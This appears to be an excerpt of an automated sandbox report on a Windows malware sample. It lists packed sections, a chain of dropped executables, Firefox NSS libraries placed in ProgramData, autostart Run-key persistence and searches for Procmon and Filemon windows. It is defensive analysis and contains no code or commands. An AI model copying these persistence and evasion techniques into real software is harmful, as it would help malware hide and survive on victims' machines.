Source: mixer_music.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xa7e3
Source: pixelarray.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xdb78
Source: surflock.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x798f
Source: bufferproxy.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x5cb2
Source: random[1].exe0.17.dr	Static PE information: real checksum: 0x1ccb9d should be: 0x1ca1b2
Source: image.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xadf1
Source: FHCGCAAKJD.exe.0.dr	Static PE information: real checksum: 0x318d3c should be: 0x31f8fc
Source: random[1].exe.0.dr	Static PE information: real checksum: 0x318d3c should be: 0x31f8fc
Source: eb02f9ad86.exe.17.dr	Static PE information: real checksum: 0x1e20ba should be: 0x1e6b87
Source: 8b4f365c71.exe.17.dr	Static PE information: real checksum: 0x1c154a should be: 0x1c6b16
Source: pixelcopy.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xffef
Source: font.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x14f47
Source: mixer.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x18af1
Source: _freetype.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x18e90
Source: skotes.exe.14.dr	Static PE information: real checksum: 0x318d3c should be: 0x31f8fc
Source: event.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x100db
Source: file.exe	Static PE information: real checksum: 0x1c154a should be: 0x1c6b16
Source: display.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xe2a4
Source: draw.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x12096
Source: scrap.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x7901
Source: key.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xe894
Source: random[2].exe.17.dr	Static PE information: real checksum: 0x1c154a should be: 0x1c6b16
Source: transform.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x1b557
Source: mouse.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x13e82
Source: time.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xc095
Source: joystick.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xe080
Source: base.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x158e8
Source: mask.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x13f2f
Source: random[1].exe.17.dr	Static PE information: real checksum: 0x1e20ba should be: 0x1e6b87
Source: color.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x185cf
Source: math.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x11344
Source: rect.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0xcf9d
Source: surface.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x429bc
Source: 0eb65aaf2f.exe.17.dr	Static PE information: real checksum: 0x1ccb9d should be: 0x1ca1b2
Source: constants.cp310-win_amd64.pyd.18.dr	Static PE information: real checksum: 0x0 should be: 0x1034e

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: zmdmrpym
Source: file.exe	Static PE information: section name: skpffbqx
Source: file.exe	Static PE information: section name: .taggant
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: random[1].exe.0.dr	Static PE information: section name:
Source: random[1].exe.0.dr	Static PE information: section name: .idata
Source: random[1].exe.0.dr	Static PE information: section name: rxvxvspl
Source: random[1].exe.0.dr	Static PE information: section name: qzwxpcbw
Source: random[1].exe.0.dr	Static PE information: section name: .taggant
Source: FHCGCAAKJD.exe.0.dr	Static PE information: section name:
Source: FHCGCAAKJD.exe.0.dr	Static PE information: section name: .idata
Source: FHCGCAAKJD.exe.0.dr	Static PE information: section name: rxvxvspl
Source: FHCGCAAKJD.exe.0.dr	Static PE information: section name: qzwxpcbw
Source: FHCGCAAKJD.exe.0.dr	Static PE information: section name: .taggant
Source: skotes.exe.14.dr	Static PE information: section name:
Source: skotes.exe.14.dr	Static PE information: section name: .idata
Source: skotes.exe.14.dr	Static PE information: section name: rxvxvspl
Source: skotes.exe.14.dr	Static PE information: section name: qzwxpcbw
Source: skotes.exe.14.dr	Static PE information: section name: .taggant
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: .idata
Source: random[1].exe.17.dr	Static PE information: section name:
Source: random[1].exe.17.dr	Static PE information: section name: zdenlbin
Source: random[1].exe.17.dr	Static PE information: section name: hmrfrbxb
Source: random[1].exe.17.dr	Static PE information: section name: .taggant
Source: eb02f9ad86.exe.17.dr	Static PE information: section name:
Source: eb02f9ad86.exe.17.dr	Static PE information: section name: .idata
Source: eb02f9ad86.exe.17.dr	Static PE information: section name:
Source: eb02f9ad86.exe.17.dr	Static PE information: section name: zdenlbin
Source: eb02f9ad86.exe.17.dr	Static PE information: section name: hmrfrbxb
Source: eb02f9ad86.exe.17.dr	Static PE information: section name: .taggant
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: .idata
Source: random[1].exe0.17.dr	Static PE information: section name:
Source: random[1].exe0.17.dr	Static PE information: section name: kotpjprz
Source: random[1].exe0.17.dr	Static PE information: section name: epobgbuj
Source: random[1].exe0.17.dr	Static PE information: section name: .taggant
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name:
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name: .idata
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name:
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name: kotpjprz
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name: epobgbuj
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name: .taggant
Source: random[2].exe.17.dr	Static PE information: section name:
Source: random[2].exe.17.dr	Static PE information: section name: .idata
Source: random[2].exe.17.dr	Static PE information: section name:
Source: random[2].exe.17.dr	Static PE information: section name: zmdmrpym
Source: random[2].exe.17.dr	Static PE information: section name: skpffbqx
Source: random[2].exe.17.dr	Static PE information: section name: .taggant
Source: 8b4f365c71.exe.17.dr	Static PE information: section name:
Source: 8b4f365c71.exe.17.dr	Static PE information: section name: .idata
Source: 8b4f365c71.exe.17.dr	Static PE information: section name:
Source: 8b4f365c71.exe.17.dr	Static PE information: section name: zmdmrpym
Source: 8b4f365c71.exe.17.dr	Static PE information: section name: skpffbqx
Source: 8b4f365c71.exe.17.dr	Static PE information: section name: .taggant
Source: ziNGMDa[1].exe.17.dr	Static PE information: section name: _RDATA
Source: ziNGMDa.exe.17.dr	Static PE information: section name: _RDATA
Source: libFLAC-8.dll.18.dr	Static PE information: section name: .xdata
Source: libcrypto-1_1.dll.18.dr	Static PE information: section name: .00cfg
Source: libfreetype-6.dll.18.dr	Static PE information: section name: .xdata
Source: libjpeg-9.dll.18.dr	Static PE information: section name: .xdata
Source: libmpg123-0.dll.18.dr	Static PE information: section name: .rodata
Source: libmpg123-0.dll.18.dr	Static PE information: section name: .xdata
Source: libogg-0.dll.18.dr	Static PE information: section name: .xdata
Source: libpng16-16.dll.18.dr	Static PE information: section name: .xdata
Source: libssl-1_1.dll.18.dr	Static PE information: section name: .00cfg
Source: libvorbis-0.dll.18.dr	Static PE information: section name: .xdata
Source: libvorbisfile-3.dll.18.dr	Static PE information: section name: .xdata
Source: libwebp-7.dll.18.dr	Static PE information: section name: .xdata
Source: portmidi.dll.18.dr	Static PE information: section name: .xdata
Source: python310.dll.18.dr	Static PE information: section name: PyRuntim
Source: zlib1.dll.18.dr	Static PE information: section name: .xdata
Source: SDL2.dll.18.dr	Static PE information: section name: .xdata
Source: SDL2_image.dll.18.dr	Static PE information: section name: .xdata
Source: SDL2_mixer.dll.18.dr	Static PE information: section name: .xdata
Source: SDL2_ttf.dll.18.dr	Static PE information: section name: .xdata
Source: VCRUNTIME140.dll.18.dr	Static PE information: section name: _RDATA
Source: math.cp310-win_amd64.pyd.18.dr	Static PE information: section name: _RDATA

Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_0025D91C push ecx; ret	14_2_0025D92F
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Code function: 14_2_00251359 push es; ret	14_2_0025135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 15_2_0008D91C push ecx; ret	15_2_0008D92F

Source: file.exe	Static PE information: section name: zmdmrpym entropy: 7.952281714471805
Source: random[1].exe.0.dr	Static PE information: section name: entropy: 7.118124268034865
Source: FHCGCAAKJD.exe.0.dr	Static PE information: section name: entropy: 7.118124268034865
Source: skotes.exe.14.dr	Static PE information: section name: entropy: 7.118124268034865
Source: random[1].exe.17.dr	Static PE information: section name: zdenlbin entropy: 7.9420735739474795
Source: eb02f9ad86.exe.17.dr	Static PE information: section name: zdenlbin entropy: 7.9420735739474795
Source: random[1].exe0.17.dr	Static PE information: section name: entropy: 7.987167829126115
Source: random[1].exe0.17.dr	Static PE information: section name: kotpjprz entropy: 7.953863915720271
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name: entropy: 7.987167829126115
Source: 0eb65aaf2f.exe.17.dr	Static PE information: section name: kotpjprz entropy: 7.953863915720271
Source: random[2].exe.17.dr	Static PE information: section name: zmdmrpym entropy: 7.952281714471805
Source: 8b4f365c71.exe.17.dr	Static PE information: section name: zmdmrpym entropy: 7.952281714471805

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\Documents\FHCGCAAKJD.exe

Jump to dropped file

Found pyInstaller with non standard icon

Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe

Process created: "C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe"

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_overlapped.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_asyncio.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\pixelarray.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013444001\0eb65aaf2f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013446001\20bbca6d77.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_queue.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\pixelcopy.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libopusfile-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\rect.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\rwobject.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pyexpat.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\color.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\key.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\Documents\FHCGCAAKJD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libmodplug-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\event.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\ziNGMDa[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\display.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_decimal.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_ssl.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libfreetype-6.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\_freetype.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libogg-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mixer_music.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_uuid.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libpng16-16.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\constants.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013445001\8b4f365c71.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\python310.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mask.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_multiprocessing.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\draw.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\scrap.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\transform.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\surface.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_image.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\portmidi.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013443001\eb02f9ad86.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\bufferproxy.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_mixer.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libopus-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libmpg123-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libvorbisfile-3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\math.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mouse.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libwebp-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libFLAC-8.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\mixer.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\surflock.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libtiff-5.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\zlib1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\font.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libssl-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\imageext.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\image.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\joystick.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\time.cp310-win_amd64.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libjpeg-9.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\libvorbis-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\SDL2_ttf.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013433001\ziNGMDa.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI79282\pygame\base.cp310-win_amd64.pyd	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 0eb65aaf2f.exe
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 8b4f365c71.exe

Monitors registry run keys for changes

Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Registry key monitored: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\FHCGCAAKJD.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
